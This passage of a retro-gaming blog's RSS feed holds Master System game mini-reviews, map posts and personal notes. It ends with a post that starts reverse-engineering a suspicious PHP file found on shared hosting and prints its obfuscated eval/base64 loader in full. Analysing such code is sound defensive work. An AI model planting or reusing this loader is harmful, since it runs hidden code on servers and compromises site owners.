<p>The main feature of this game is that it has a lot of levels, most of which are quite big, most of which can be played through as either Asterix or Obelix - and the levels are substantially changed for each character. So there&#8217;s a lot of game there, but you only ever get to see half of it in each play through. (The Out Run approach to replayability? On a real console as a kid, I&#8217;d probably have appreciated that as I played it though for the gazillionth time.)
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>Deliberately scattered through locations as our bumbling heroes haphazardly head to Rome, at least it&#8217;s consistent.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>It gets annoying in places. There are some &#8220;puzzles&#8221; that are just plain wrong, like the 2/3 lanterns near the end. But overall it&#8217;s a large dollop of platforming levels, and I&#8217;m a sucker for that.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>There&#8217;s a few. The early level that loops until you figure out how to break the cycle, and the bit near the end where... it loops until you figure out how to break the cycle, but in a completely different way this time.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-AsterixAndTheSecretMission</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-25T08:56:58Z</dc:date>
<pubDate>Mon, 25 Jul 2011 08:56:58 GMT</pubDate>
</item>
<item>
<title>Mini Review: Asterix and the Great Rescue</title>
<author>Maxim</author>
<description><![CDATA[<p>I&#8217;ve been playing through some SMS games recently on the rather nice <a class='urllink' href='http://www.workingdesign.de/' rel='nofollow'>ApprenticeMinusDS</a>. (Not that there&#8217;s anything wrong with <a class='urllink' href='http://www.ndsretro.com/' rel='nofollow'>S8DS</a>, I&#8217;m just rather lazy and haven&#8217;t tried it yet.) I&#8217;ve played through the SMS Asterix games and I thought I&#8217;d make some notes on my thoughts... first up is <a class='urllink' href='http://www.smspower.org/Games/AsterixAndTheGreatRescue-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>Asterix and the Great Rescue</a>, for no particular reason (it&#8217;s the third of the three games).
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>The first level seems rather underwhelming but overall it&#8217;s top-notch late European standard. That 512KB uses a lot of nice, varied graphics with plenty of unnecessary detail. The sprites have a lot more frames of animation than you&#8217;re used to. There&#8217;s a little graphical trickery with background priority. There is a huge variety of levels; it&#8217;s a prime candidate for mapping.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>I play with the sound off. But <a class='urllink' href='http://www.smspower.org/Music/AsterixAndTheGreatRescue-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>the VGMs are great</a>. The one slightly annoying thing is that the noise channel is buggy (the developer didn&#8217;t realise he was resetting it every frame), but I guess the music was composed with that in mind.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>There&#8217;s loads of levels; the difficulty is not that high (although I think it defaults to easy), but it&#8217;s entertaining enough and takes more than an hour to play through. There are a few really frustrating points where you get stuck - the part where you have to destroy breakable blocks without a potion (the only time you need to do that in the game), and the log rolling boss are prime examples.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>Nope.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>Yeah, I guess.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Transforming character... magic potions... well, it&#8217;s not original but it&#8217;s done in a reasonably slick fashion.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating3.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-AsterixAndTheGreatRescue</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-07-22T09:33:03Z</dc:date>
<pubDate>Thu, 22 Jul 2010 09:33:03 GMT</pubDate>
</item>
<item>
<title>Mini Review Ratings</title>
<author>Maxim</author>
<description><![CDATA[<p>I need a rating system for my mini reviews. So here goes.
</p>
<p class='vspace'>Everyone knows that percentages are rubbish, because you can&#8217;t easily hold yourself to using the full range. For the same reason 1-10 scales don&#8217;t work, they just avoid the unnecessary precision. So I thought I&#8217;d split it by sentiment. (I may come up with some more amusing graphics at some point.)
</p>
<p class='vspace'>This page will also automagically build up into a review index. Now all I need to do is write some reviews.
</p>
<div class='vspace'></div><hr />
<div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating1.png' alt='' title='' /></div>
<p class='vspace'>This game is awful. The more you play it, the more you will hate it. In order to review this, I played the whole way through and I almost wish I hadn&#8217;t bothered.
</p>
<div class='vspace'></div><div class='fpltemplate'><ul><li><a class='wikilink' href='http://www.smspower.org/maxim/MicroReview-Galaga91?sid=df27688e1ea0f31a8391579434ba1a6f'>Galaga &#8216;91</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-GlobalGladiators?sid=df27688e1ea0f31a8391579434ba1a6f'>Global Gladiators</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-JungleBook?sid=df27688e1ea0f31a8391579434ba1a6f'>The Jungle Book</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-Zool?sid=df27688e1ea0f31a8391579434ba1a6f'>Zool</a>
</li></ul>
</div>
<div class='vspace'></div><hr />
<div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /></div>
<p class='vspace'>Meh.
</p>
<div class='vspace'></div><div class='fpltemplate'><ul><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-Aladdin?sid=df27688e1ea0f31a8391579434ba1a6f'>Aladdin</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-AlienSyndrome?sid=df27688e1ea0f31a8391579434ba1a6f'>Alien Syndrome</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-AsterixAndTheSecretMission?sid=df27688e1ea0f31a8391579434ba1a6f'>Asterix and the Secret Mission</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-BatmanReturns?sid=df27688e1ea0f31a8391579434ba1a6f'>Batman Returns</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-FredCouplesGolf?sid=df27688e1ea0f31a8391579434ba1a6f'>Fred Couples Golf</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-GearWorks?sid=df27688e1ea0f31a8391579434ba1a6f'>Gear Works</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-ManOverboard?sid=df27688e1ea0f31a8391579434ba1a6f'>Man Overboard!</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-Rampart?sid=df27688e1ea0f31a8391579434ba1a6f'>Rampart</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-TheSmurfs?sid=df27688e1ea0f31a8391579434ba1a6f'>The Smurfs</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-TheSmurfsTravelTheWorld?sid=df27688e1ea0f31a8391579434ba1a6f'>The Smurfs Travel The World</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-TotoWorld3?sid=df27688e1ea0f31a8391579434ba1a6f'>Toto World 3</a>
</li></ul>
</div>
<div class='vspace'></div><hr />
<div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating3.png' alt='' title='' /></div>
<p class='vspace'>This game is pretty good. Everyone should play it through at least once.
</p>
<div class='vspace'></div><div class='fpltemplate'><ul><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-AsterixAndTheGreatRescue?sid=df27688e1ea0f31a8391579434ba1a6f'>Asterix and the Great Rescue</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-BustAMove?sid=df27688e1ea0f31a8391579434ba1a6f'>Bust-a-Move</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-DaffyDuckInHollywood?sid=df27688e1ea0f31a8391579434ba1a6f'>Daffy Duck in Hollywood</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-Frogger?sid=df27688e1ea0f31a8391579434ba1a6f'>Frogger</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-LionKing?sid=df27688e1ea0f31a8391579434ba1a6f'>The Lion King</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-PenguinLand?sid=df27688e1ea0f31a8391579434ba1a6f'>Penguin Land</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-Shinobi?sid=df27688e1ea0f31a8391579434ba1a6f'>Shinobi</a>
</li><li><a class='wikilink' href='http://www.smspower.org/maxim/MiniReview-SuperOffRoad?sid=df27688e1ea0f31a8391579434ba1a6f'>Super Off Road</a>
</li></ul>
</div>
<div class='vspace'></div><hr />
<div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating4.png' alt='' title='' /></div>
<p class='vspace'>A classic game that I play over and over again. If you haven&#8217;t played this through at least once then shame on you.
</p>
<p class='vspace'>Well, I&#8217;m not really getting around to reviewing these games (I&#8217;m trying to play though games I haven&#8217;t played before, which kind of automatically excludes these). So here&#8217;s a short list off the top of my head...
</p>
<div class='vspace'></div><ul><li>Alex Kidd in Miracle World
</li><li>Castle of Illusion
</li><li>Krusty&#8217;s Fun House
</li><li>Land of Illusion
</li><li>Micro Machines
</li><li>Prince of Persia
</li><li>Wonder Boy III
</li></ul><div class='vspace'></div><div class='fpltemplate'></div>
<div class='vspace'></div>
]]></description><link>http://www.smspower.org/maxim/MiniReviewRatings</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-01T16:22:49Z</dc:date>
<pubDate>Fri, 01 Jul 2011 16:22:49 GMT</pubDate>
</item>
<item>
<title>I Don't Like buyspares.co.uk</title>
<author>Maxim</author>
<description><![CDATA[<p>I bought a grain mill (no, really) from <a class='urllink' href='http://www.buyspares.co.uk/' rel='nofollow'>http://www.buyspares.co.uk/</a> and when it turned up, it was scratched up on the outside and full of flour. In other words, it had been used. Yet they were selling it as new. Maybe they had misfiled (or insufficiently checked) a previously-returned item?
</p>
<p class='vspace'>I phoned them up and they tried to convince me it was dust from the warehouse (that had got into the inner workings, though a sealed box), then offered me a refund. (Well, the distance selling regulations didn&#8217;t give them much choice.) Free courier collection sounds good until you realise you have to wait in for the handy collection timeslot of <em>9am - 5pm</em>... Rather than send me a replacement, I just got to order it again. This has the disadvantage of me paying twice, but the advantage that I get the replacement before the return.
</p>
<p class='vspace'>Except when it turned up, it was even dirtier than the first (lots of flour crud all over the grinder). So I repeated the process all over again, and ordered from another website (for a few pounds extra), who promptly sent me a <em>new, clean</em> one.
</p>
<p class='vspace'>Anyway, in the modern world of internets and twitbookfacetubes, the best a (lazy) person can do is to mention it online so Google can index it and turn up in searches for things like &#8220;buyspares sucks&#8221; and &#8220;buyspares problems&#8221;. So here we are.
</p>
]]></description><link>http://www.smspower.org/maxim/IDontLikeBuysparesCoUk</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-06-02T15:22:57Z</dc:date>
<pubDate>Wed, 02 Jun 2010 15:22:57 GMT</pubDate>
</item>
<item>
<title>Aleste Maps</title>
<author>Maxim</author>
<description><![CDATA[<p>I rapidly mapped <a class='wikilink' href='http://www.smspower.org/maxim/Maps/Aleste?sid=df27688e1ea0f31a8391579434ba1a6f'>Aleste</a> one night when I was supposed to be sleeping.
</p>
]]></description><link>http://www.smspower.org/maxim/AlesteMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-02-27T11:08:02Z</dc:date>
<pubDate>Sat, 27 Feb 2010 11:08:02 GMT</pubDate>
</item>
<item>
<title>Maxim Misplaces Micro Machines Maps, Making Much Misery</title>
<author>Maxim</author>
<description><![CDATA[<p>Somehow I managed to miss off <a class='wikilink' href='http://www.smspower.org/maxim/Maps/MicroMachines?sid=df27688e1ea0f31a8391579434ba1a6f'>Micro Machines</a> when I was converting the maps pages! Luckily I had copies available elsewhere and archive.org had the page text...
</p>
<div class='vspace'></div><div><a class='wikilink' href='http://www.smspower.org/maxim/Maps/MicroMachines?sid=df27688e1ea0f31a8391579434ba1a6f'><img src='http://www.smspower.org/maxim/uploads/Maps/Micro%20Machines%20-%20Crayon%20Canyons.jpg' alt='' /></a></div>
]]></description><link>http://www.smspower.org/maxim/MaximMisplacesMicroMachinesMapsMakingMuchMisery</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-02-09T00:58:59Z</dc:date>
<pubDate>Tue, 09 Feb 2010 00:58:59 GMT</pubDate>
</item>
<item>
<title>Blag Lacks Posts, Nobody Surprised</title>
<author>Maxim</author>
<description><![CDATA[<p>Yeah yeah. Well, I&#8217;ve been doing all the stuff for <a class='urllink' href='http://wip2.smspower.org' rel='nofollow'>http://wip2.smspower.org</a>, plus I was away in 中国河南郑州 for pretty much all of December. I may start posting here about the wip2 stuff I do, unless I do that in the forums. It&#8217;s not like anyone reads this stuff, right?
</p>
]]></description><link>http://www.smspower.org/maxim/BlagLacksPostsNobodySurprised</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-02-08T00:31:10Z</dc:date>
<pubDate>Mon, 08 Feb 2010 00:31:10 GMT</pubDate>
</item>
<item>
<title>Teddy Boy Maps</title>
<author>Maxim</author>
<description><![CDATA[<p>I find it rather relaxing to make maps.
</p>
<div class='vspace'></div><div><a class='wikilink' href='http://www.smspower.org/maxim/Maps/TeddyBoy?sid=df27688e1ea0f31a8391579434ba1a6f'><img src='http://www.smspower.org/maxim/uploads/Maps/Teddy%20Boy%20-%20Round%2048.png' alt='' /></a></div>
<p class='vspace'>I wonder what the significance of 4920 is?
</p>
]]></description><link>http://www.smspower.org/maxim/TeddyBoyMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-11-15T13:33:04Z</dc:date>
<pubDate>Sun, 15 Nov 2009 13:33:04 GMT</pubDate>
</item>
<item>
<title>Picasa Face Detection</title>
<author>Maxim</author>
<description><![CDATA[<p>Picasa 3.5 now has face detection built in. It&#8217;s not <em>too</em> bad at recognising different people, and grouping them together, but some of the things it does are a bit... wacky.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/face.png' alt='' title='' /></div>
]]></description><link>http://www.smspower.org/maxim/PicasaFaceDetection</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-11-08T19:19:10Z</dc:date>
<pubDate>Sun, 08 Nov 2009 19:19:10 GMT</pubDate>
</item>
<item>
<title>Desert Strike Maps</title>
<author>Maxim</author>
<description><![CDATA[<p>Yet more maps made.
</p>
<div class='vspace'></div><div><a class='wikilink' href='http://www.smspower.org/maxim/Maps/DesertStrike?sid=df27688e1ea0f31a8391579434ba1a6f'><img src='http://www.smspower.org/maxim/uploads/Maps/Desert%20Strike%20-%20Air%20Supremacy.jpg' alt='' /></a></div>
]]></description><link>http://www.smspower.org/maxim/DesertStrikeMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-10-31T01:53:48Z</dc:date>
<pubDate>Sat, 31 Oct 2009 01:53:48 GMT</pubDate>
</item>
<item>
<title>The Lucky Dime Caper Maps</title>
<author>Maxim</author>
<description><![CDATA[<p>More maps.
</p>
<p class='vspace'><a class='wikilink' href='http://www.smspower.org/maxim/Maps/LuckyDimeCaper?sid=df27688e1ea0f31a8391579434ba1a6f'>The Lucky Dime Caper</a>
</p>
]]></description><link>http://www.smspower.org/maxim/TheLuckyDimeCaperMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-10-21T22:10:04Z</dc:date>
<pubDate>Wed, 21 Oct 2009 22:10:04 GMT</pubDate>
</item>
<item>
<title>ono</title>
<author>Maxim</author>
<description><![CDATA[<p>I&#8217;ve added a page for <a class='wikilink' href='http://www.smspower.org/maxim/SMSSoftware/Ono?sid=df27688e1ea0f31a8391579434ba1a6f'>ono</a>, my SMS Power! Coding Competition 2009 entry. It&#8217;s also the first release for the source code.
</p>
<div class='vspace'></div><div><a class='wikilink' href='http://www.smspower.org/maxim/SMSSoftware/Ono?sid=df27688e1ea0f31a8391579434ba1a6f'><img src='http://www.smspower.org/maxim/uploads/SMSSoftware/onoBox.png' alt='' /></a></div>
]]></description><link>http://www.smspower.org/maxim/Ono</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-10-06T08:00:14Z</dc:date>
<pubDate>Tue, 06 Oct 2009 08:00:14 GMT</pubDate>
</item>
<item>
<title>R.C. Grand Prix Maps</title>
<author>Maxim</author>
<description><![CDATA[<p>Yet more mapping goodness. I stayed up far too late doing this, but I did get a quite satisfactory hack for it eventually...
</p>
<p class='vspace'><a class='wikilink' href='http://www.smspower.org/maxim/Maps/RCGrandPrix?sid=df27688e1ea0f31a8391579434ba1a6f'>R.C. Grand Prix maps</a>
</p>
]]></description><link>http://www.smspower.org/maxim/RCGrandPrixMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-09-23T01:27:07Z</dc:date>
<pubDate>Wed, 23 Sep 2009 01:27:07 GMT</pubDate>
</item>
<item>
<title>Highslide For Maps</title>
<author>Maxim</author>
<description><![CDATA[<p>I added <a class='urllink' href='http://www.pmwiki.org/wiki/Cookbook/Highslide' rel='nofollow'>a &#8220;recipe&#8221;</a> that uses the <a class='urllink' href='http://highslide.com/' rel='nofollow'>Highslide</a> JavaScript library to make the images in the maps section do a cool JavaScripty thing when you click on them. You can still right-click and middle-click and all that.
</p>
]]></description><link>http://www.smspower.org/maxim/HighslideForMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-09-19T20:00:42Z</dc:date>
<pubDate>Sat, 19 Sep 2009 20:00:42 GMT</pubDate>
</item>
<item>
<title>Pac-In-Time Maps</title>
<author>Maxim</author>
<description><![CDATA[<p>I&#8217;ve mapped <a class='wikilink' href='http://www.smspower.org/maxim/Maps/Pac-In-Time?sid=df27688e1ea0f31a8391579434ba1a6f'>Pac-In-Time</a> for the Game Gear. Notice the music guy&#8217;s website... impressively loony.
</p>
]]></description><link>http://www.smspower.org/maxim/Pac-In-TimeMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-09-18T21:55:32Z</dc:date>
<pubDate>Fri, 18 Sep 2009 21:55:32 GMT</pubDate>
</item>
<item>
<title>YM2413 Application Manual</title>
<author>Maxim</author>
<description><![CDATA[<p>I&#8217;ve converted the YM2413AM from my old doc to a wiki format. While it wasn&#8217;t really necessary, it&#8217;s nice not to have legacy stuff hanging around.
</p>
<p class='vspace'><a class='wikilink' href='http://www.smspower.org/maxim/Documents/YM2413ApplicationManual?sid=df27688e1ea0f31a8391579434ba1a6f'>YM2413 Application Manual</a>
</p>
]]></description><link>http://www.smspower.org/maxim/YM2413ApplicationManual</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-09-16T11:04:22Z</dc:date>
<pubDate>Wed, 16 Sep 2009 11:04:22 GMT</pubDate>
</item>
<item>
<title>Philips TV Service Menu</title>
<author>Maxim</author>
<description><![CDATA[<p>062596 and then the button with an &#8220;i&#8221; on it (the OSD button, one up from the bottom right). No more overscan!
</p>
]]></description><link>http://www.smspower.org/maxim/PhilipsTVServiceMenu</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-09-10T20:49:34Z</dc:date>
<pubDate>Thu, 10 Sep 2009 20:49:34 GMT</pubDate>
</item>
<item>
<title>Why I Do Things At The Last Minute</title>
<author>Maxim</author>
<description><![CDATA[<p>Update: here&#8217;s a short answer for those wackos asking Google why they do things at the last minute:
</p>
<div class='vspace'></div><ol><li>You&#8217;re lazy
</li><li>So long as it&#8217;s done in time, it doesn&#8217;t matter. Only when things go wrong would it have helped to do it earlier. So if you never screw things up, there&#8217;s no problem.
</li></ol><div class='vspace'></div><hr />
<p class='vspace'>My dear, beloved wife doesn&#8217;t like me doing things at the last minute. Of course, laziness always pays off now.
</p>
<div class='vspace'></div><div class='indent'>Fry: But, you are lazy right?<br /><del>Sal</del> Maxim: Oh, don&#8217;t get me started. 
</div><p class='vspace'>But sometimes doing things early doesn&#8217;t pay off so well.
</p>
<p class='vspace'>
You see, I&#8217;m off on holiday in December, to China. As is entirely sensible, the Chinese don&#8217;t like us 鬼佬 so we all have to get visas.
</p>
<p class='vspace'>The process has changed a bit recently. Before it was:
</p>
<div class='vspace'></div><ol><li>Fill in a form
</li><li>Take it to the Chinese embassy, with your passport
<ol><li>They look it over, take it and give you a receipt
</li></ol></li><li>Wait for them to check if you&#8217;re a terrorist and/or journalist
</li><li>Go back and pay £30 to get your passport with a visa in it
</li></ol><p class='vspace'>Now it&#8217;s:
</p>
<div class='vspace'></div><ol><li>Fill in a form
</li><li>Take it to the Chinese Visa Application Service Centre, with your passport
<ol><li>They take it and give you a receipt
</li><li>Then they send the stuff to the embassy, who do the checks, etc.
</li></ol></li><li>Go back and pay £30 (for the embassy), another £30 (for the CVASC&#8217;s &#8220;work&#8221;), and £4.50 tax (for no known reason, it&#8217;s not even a sensible percentage of anything) to get your passport with a visa in it
</li></ol><p class='vspace'>So it&#8217;s a rip off. Annoyance #1. But I didn&#8217;t get to the point yet. You see, I&#8217;m going on holiday in December. Right now, it&#8217;s September. So there&#8217;s a touch over three months between now and then.
</p>
<p class='vspace'>When you fill in the form you say what day you&#8217;re going:
</p>
<div class='vspace'></div><div class='indent'>2.3 首次可能抵达中国的日期 / Date of Your First Possible Entry into China (YY-MM-DD)
</div><p class='vspace'>But, not shown on the form, and in fact distributed across various webpages and documents, are the following facts:
</p>
<div class='vspace'></div><ul><li>The visa will be valid <em>from the date of issue</em>
</li><li>The visa will be valid <em>for three months</em>
</li><li>The embassy/CVASC take no responsibility for you applying at the wrong time (e.g. the day before you leave)
</li></ul><p class='vspace'>And one thing that isn&#8217;t written down anywhere:
</p>
<div class='vspace'></div><ul><li>They pay no attention at all to what you put as an answer to question 2.3; if that&#8217;s more than three months away, they&#8217;ll happily give you a £64.50 visa you have no use for.
</li></ul><p class='vspace'>The CVASC&#8217;s advice to me was to either go to China earlier, or to apply again. Gah.
</p>
]]></description><link>http://www.smspower.org/maxim/WhyIDoThingsAtTheLastMinute</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-10-22T13:42:28Z</dc:date>
<pubDate>Thu, 22 Oct 2009 13:42:28 GMT</pubDate>
</item>
<item>
<title>Why Shared Hosting Sucks</title>
<author>Maxim</author>
<description><![CDATA[<p>During our recent server upheavals I came across a suspicious-looking PHP file that was multiply-obfuscated. Here&#8217;s the reverse engineering process...
</p>
<p class='vspace'>
Here&#8217;s the original:
</p>
<div class='vspace'></div>
<div class='sourceblock ' id='sourceblock3'>
  <div class='sourceblocktext'><div class="php" style="font-family:monospace;"><span class="kw2">&lt;?php</span> <span class="coMULTI">/* &#160;*/</span><span class="re0">$OOO000000</span><span class="sy0">=</span><span class="kw3">urldecode</span><span class="br0">&#40;</span><span class="st_h">'%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'</span><span class="br0">&#41;</span><span class="sy0">;</span><span class="re0">$OOO0000O0</span><span class="sy0">=</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">4</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">9</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">3</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">5</span><span class="br0">&#125;</span><span class="sy0">;</span><span class="re0">$OOO0000O0</span><span class="sy0">.=</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">2</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">10</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">13</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">16</span><span class="br0">&#125;</span><span class="sy0">;</span><span class="re0">$OOO0000O0</span><span class="sy0">.=</span><span class="re0">$OOO0000O0</span><span class="br0">&#123;</span><span class="nu0">3</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">11</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">12</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO0000O0</span><span class="br0">&#123;</span><span class="nu0">7</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">5</span><span class="br0">&#125;</span><span class="sy0">;</span><span class="re0">$OOO000O00</span><span class="sy0">=</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">12</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">7</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">5</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">15</span><span class="br0">&#125;</span><span class="sy0">;</span><span class="re0">$O0O000O00</span><span class="sy0">=</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">1</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">5</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">14</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">3</span><span class="br0">&#125;</span><span class="sy0">;</span><span class="re0">$O0O00OO00</span><span class="sy0">=</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">8</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">5</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">9</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">16</span><span class="br0">&#125;</span><span class="sy0">;</span><span class="re0">$OOO00000O</span><span class="sy0">=</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">3</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">14</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">8</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">14</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$OOO000000</span><span class="br0">&#123;</span><span class="nu0">8</span><span class="br0">&#125;</span><span class="sy0">;</span><span class="re0">$OOO0O0O00</span><span class="sy0">=</span><span class="kw2">__FILE__</span><span class="sy0">;</span><span class="re0">$OO00O0000</span><span class="sy0">=</span><span class="nu0">26100</span><span class="sy0">;</span>eval<span class="br0">&#40;</span><span class="re0">$OOO0000O0</span><span class="br0">&#40;</span><span class="st_h">'aWYoITApJE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwME8wMCgkTzAwME8wTzAwLDEwMjQpOyRPME8wMDBPMDAoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMzgwKSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>return<span class="sy0">;</span><span class="sy1">?&gt;</span><br />
